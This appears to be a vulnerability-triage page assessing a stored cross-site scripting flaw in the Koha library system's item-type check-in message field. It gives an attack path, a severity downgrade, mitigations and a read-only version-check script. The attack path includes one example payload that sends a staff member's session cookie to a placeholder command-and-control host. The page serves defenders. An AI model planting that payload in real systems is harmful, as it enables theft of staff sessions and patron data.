← Back to Feed CACHED · 2026-06-30 01:52:28 · CACHE_KEY CVE-2026-50767
CVE-2026-50767 · CWE-79 · Disclosed 2026-06-26

A stored cross-site scripting

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A librarian-admin can graffiti the staff intranet, and that's about the size of it

Koha is an open-source integrated library system used mainly by public, academic, and school libraries. CVE-2026-50767 is a stored XSS in the item-type administration page — specifically the checkinmsg (check-in message) field — affecting Koha versions through 25.11. An authenticated user with item-type administration privileges can inject JavaScript that fires when another staff member loads the affected page in the staff-side intranet, not the public OPAC.

Vendor severity of MEDIUM (5.4) with a Scope:Changed flag is fair on paper but generous in practice. The bug requires PR:L (a privileged Koha account that can edit item types — typically reserved for cataloging admins) and UI:R (another admin must view the poisoned page). The attack universe is *staff-member → fellow staff member* inside a library admin console. That's a self-inflicted-wound risk profile, not an externally exploitable web flaw.

"Admin-on-admin stored XSS in a niche library system. Vendor MEDIUM is generous — real-world risk is LOW."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Obtain Koha staff account with item-type admin permission

The attacker must already hold a Koha staff credential with the parameters_remaining_permissions / item-type management flag. This is a privileged role granted to catalogers and system librarians, not patrons or front-desk staff. No public-facing path grants it.
Conditions required:
  • Valid Koha staff login
  • manage_itemtypes (or equivalent) permission flag
Where this breaks in practice:
  • Item-type admin is a small role typically held by 1–3 staff in any library
  • No way to self-register into this role from the OPAC
Detection/coverage: Koha action logs record permission grants and item-type edits if logging is enabled.
STEP 02

Inject payload into checkinmsg field

Attacker edits an item type and stores a JavaScript payload (e.g. <img src=x onerror=fetch('//c2/'+document.cookie)>) in checkinmsg. The field is rendered without adequate output encoding on the admin item-type listing/edit screen.
Conditions required:
  • Write access to item type records
Where this breaks in practice:
  • Koha admin UI is generally only reachable on a staff-network VLAN, not internet-exposed
  • Modern CSP headers (if configured by the library) blunt inline script execution
Detection/coverage: WAFs with XSS signatures (ModSecurity CRS) would flag obvious payloads; many libraries run none.
STEP 03

Second admin loads the poisoned page

Another staff user with item-type access must navigate to the same admin screen. Payload executes in their browser session under the Koha intranet origin.
Conditions required:
  • Second admin actively browses item-type admin
  • No CSP blocking inline JS
Where this breaks in practice:
  • Item-type pages aren't visited daily; payload may sit dormant for weeks
  • Library staff browsers often have NoScript / locked-down policies in academic environments
Detection/coverage: EDR on staff workstations may flag outbound beacons; CSP report-uri would catch violations if enabled.
STEP 04

Session hijack or privileged action via CSRF chain

With JS execution in another admin's session, the attacker can read the session cookie, perform CSRF-style admin actions, or pivot to user/permission management to escalate to superlibrarian. Impact ceiling is *full Koha tenant compromise* — bibliographic data, patron PII, circulation records.
Conditions required:
  • Session cookie not flagged HttpOnly (Koha sets HttpOnly by default in recent versions)
  • Victim has superlibrarian or comparable rights
Where this breaks in practice:
  • HttpOnly cookies block direct theft — attacker must ride the session via XHR instead
  • No path off the Koha host into the broader network — it's a contained web app
Detection/coverage: Koha action logs surface admin-permission changes.
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed. Not tracked in KEV; no GreyNoise / Shodan tagged scans for the endpoint.
Proof-of-conceptNo public PoC in ExploitDB or GitHub as of disclosure. The closely-related CVE-2026-26377 writeup by g03m0n covers a sibling Koha XSS pattern.
EPSS0.00215 (≈0.2% probability of exploitation in next 30 days) — bottom-quartile percentile.
KEV statusNot listed. CISA has never KEV-listed a Koha CVE.
CVSS vectorAV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N — network reachable, but privileged + user interaction required. Scope:Changed reflects cross-user impact within the app.
Affected versionsKoha 0 through 25.11 (all supported and many legacy branches). Field-level fix expected in 25.11.x and 24.11.x stable lines.
Fixed versionsTrack the Koha security release page; patched point releases not yet announced at disclosure date.
Exposure dataShodan returns roughly 4–6k internet-reachable Koha instances globally, but staff intranet endpoints are typically firewalled. Real exposed admin surface is <10% of installs.
Disclosure2026-06-26, MITRE-assigned CVE.
ReporterIndependent researcher; vendor coordination via koha-community security list.
04 · The Call

noisgate verdict.

Final Verdict
DOWNGRADED to LOW (3.1/10)

The decisive factor is privilege requirement plus victim role overlap: the attacker must already hold item-type admin rights and the victim must be another admin loading the same screen — this is an insider-on-insider risk inside a staff intranet, not an externally exploitable flaw. Blast radius caps at a single Koha tenant's bibliographic and patron data, with no role-multiplier effect on the broader fleet.

HIGH Severity downgrade is correct
HIGH No active exploitation
MEDIUM Patched-version availability — track vendor advisory

Why this verdict

  • Privilege gate (PR:L) is meaningful here — item-type admin is held by a handful of named catalogers, not the patron base or front-desk staff. The exploitable population is tiny.
  • User interaction (UI:R) on a low-traffic admin page — the checkinmsg rendering surface isn't a daily-driver screen, so the payload may never fire.
  • Staff intranet is rarely internet-exposed — Shodan-visible Koha instances are mostly the OPAC, not the staff side. Internal-only attack surface narrows exposure further.
  • Role multiplier: Koha is a library catalog application — not an identity provider, hypervisor, CA, backup admin, or kernel-mode agent. Even the worst-case takeover of one Koha tenant does not pivot to fleet, domain, or supply-chain scope. No high-value-role floor applies.
  • No KEV, EPSS 0.2% — neither attacker interest nor scanner-driven prioritization supports a higher bucket.

Why not higher?

MEDIUM would require either non-privileged exploitability (this needs an admin role) or wider blast radius (this is contained to one Koha tenant with HttpOnly cookies blunting direct session theft). Neither condition holds.

Why not lower?

IGNORE would be wrong because the bug is real, exploitable end-to-end, and an insider with cataloger rights *can* meaningfully harm patron PII and circulation records. It deserves backlog hygiene attention, not silence.

05 · Compensating Control

What to do — in priority order.

  1. Restrict item-type admin permission to named accounts — Audit Koha staff permissions and remove manage_itemtypes from any role that doesn't explicitly need it. Backlog hygiene — handle in your next quarterly access review (no mitigation SLA under noisgate LOW).
  2. Enforce a Content-Security-Policy on the Koha staff intranet — Add Content-Security-Policy: default-src 'self'; script-src 'self' at the reverse proxy in front of Koha. Blocks inline payloads from executing even if the underlying XSS isn't yet patched. Pair with report-uri so you see attempted exploitation.
  3. Verify session cookies are HttpOnly and SameSite=Lax — Inspect Set-Cookie headers from /cgi-bin/koha/; HttpOnly stops trivial cookie exfiltration via document.cookie. Modern Koha already does this, but confirm if you front it with a custom reverse proxy.
  4. Keep staff intranet off the public internet — Bind the staff vhost to internal IPs or front it with VPN / Cloudflare Access. Removes the (small) chance of unauthenticated path-traversal-style chains landing the payload.
  5. Apply the Koha point release when published — Track koha-community.org security category and roll the fix during your standard maintenance window — well inside the noisgate 365-day remediation SLA for LOW.
What doesn't work
  • A WAF in front of the OPAC does nothing — the vulnerable endpoint is on the staff intranet behind authentication.
  • Patron account hardening (password rotation, 2FA on patron accounts) does not help — patrons cannot reach the vulnerable field.
  • EDR on the Koha server is irrelevant — the payload fires in *staff browsers*, not on the server.
06 · Verification

Crowdsourced verification payload.

Run on the Koha application host as the koha-common user, e.g. sudo -u koha-common ./check-cve-2026-50767.sh /etc/koha/sites/library-name. Reports VULNERABLE if Koha version is ≤25.11 with no security patch applied, PATCHED if version is above the fixed line, UNKNOWN if version cannot be determined. Requires read access to the Koha install directory.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check-cve-2026-50767.sh — Koha stored XSS (item-type checkinmsg) detector
# Usage: ./check-cve-2026-50767.sh [/path/to/koha/site]
set -u

KOHA_DIR="${1:-/usr/share/koha}"
VERSION_FILE_CANDIDATES=(
  "$KOHA_DIR/lib/C4/Context.pm"
  "/usr/share/koha/lib/Koha.pm"
  "/usr/share/koha/lib/C4/Context.pm"
)

find_version() {
  for f in "${VERSION_FILE_CANDIDATES[@]}"; do
    if [ -r "$f" ]; then
      v=$(grep -Eo "VERSION\s*=\s*['\"]([0-9]+\.[0-9]+(\.[0-9]+)*)" "$f" 2>/dev/null \
          | head -1 | grep -Eo "[0-9]+\.[0-9]+(\.[0-9]+)*")
      if [ -n "$v" ]; then echo "$v"; return 0; fi
    fi
  done
  if command -v dpkg >/dev/null 2>&1; then
    v=$(dpkg-query -W -f='${Version}' koha-common 2>/dev/null | grep -Eo "^[0-9]+\.[0-9]+(\.[0-9]+)*")
    if [ -n "$v" ]; then echo "$v"; return 0; fi
  fi
  return 1
}

ver=$(find_version) || { echo "UNKNOWN: Koha version not detected"; exit 2; }

IFS='.' read -r maj min patch <<<"$ver"
maj=${maj:-0}; min=${min:-0}; patch=${patch:-0}

# Treat <= 25.11.x as VULNERABLE until vendor publishes 25.11.NN or 26.x fix.
# Adjust FIXED_MAJOR/FIXED_MINOR once the koha-community advisory lists a fix.
FIXED_MAJOR=25
FIXED_MINOR=11
FIXED_PATCH=99   # placeholder — replace with patched point release

if [ "$maj" -gt "$FIXED_MAJOR" ] || \
   { [ "$maj" -eq "$FIXED_MAJOR" ] && [ "$min" -gt "$FIXED_MINOR" ]; } || \
   { [ "$maj" -eq "$FIXED_MAJOR" ] && [ "$min" -eq "$FIXED_MINOR" ] && [ "$patch" -ge "$FIXED_PATCH" ]; }; then
  echo "PATCHED: Koha $ver (>= fixed line)"
  exit 0
fi

echo "VULNERABLE: Koha $ver is in the affected range (0 through 25.11) for CVE-2026-50767"
exit 1
07 · Bottom Line

If you remember one thing.

TL;DR
This is a privileged stored XSS on a low-traffic Koha admin page — real-world risk is LOW and there is no noisgate mitigation SLA for LOW, so go straight to the noisgate remediation SLA of ≤365 days. Monday morning: audit who has manage_itemtypes in Koha and trim it (5-minute task), confirm your staff intranet isn't internet-exposed, and add the patched Koha point release to your normal quarterly update train when the koha-community security list publishes it. Do not let this bump anything urgent off your queue.

Sources

  1. CVE-2026-50767 — Threatint
  2. Koha XSS CVE list — CVEdetails
  3. Sibling Koha XSS writeup (CVE-2026-26377) — g03m0n
  4. Koha security release announcements
  5. Koha community website
  6. OWASP — Cross-Site Scripting
  7. MITRE CWE-79 — Improper Neutralization of Input During Web Page Generation
  8. FIRST EPSS model
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.